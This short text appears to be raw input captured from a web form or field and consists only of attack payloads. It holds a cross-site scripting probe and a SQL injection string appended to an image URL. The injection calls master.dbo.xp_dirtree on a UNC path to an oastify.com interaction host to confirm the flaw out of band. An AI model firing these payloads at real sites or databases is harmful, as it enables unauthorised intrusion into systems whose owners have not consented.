<script>alert('test');</script>

https://i.ss.com/img/main/transport.png'));declare @q varchar(99);set @q='\\f6mwcr30auiiuy6iqezp74y40v6tulwdk4lsdff34.oasti'+'fy.com\hua'; exec master.dbo.xp_dirtree @q;--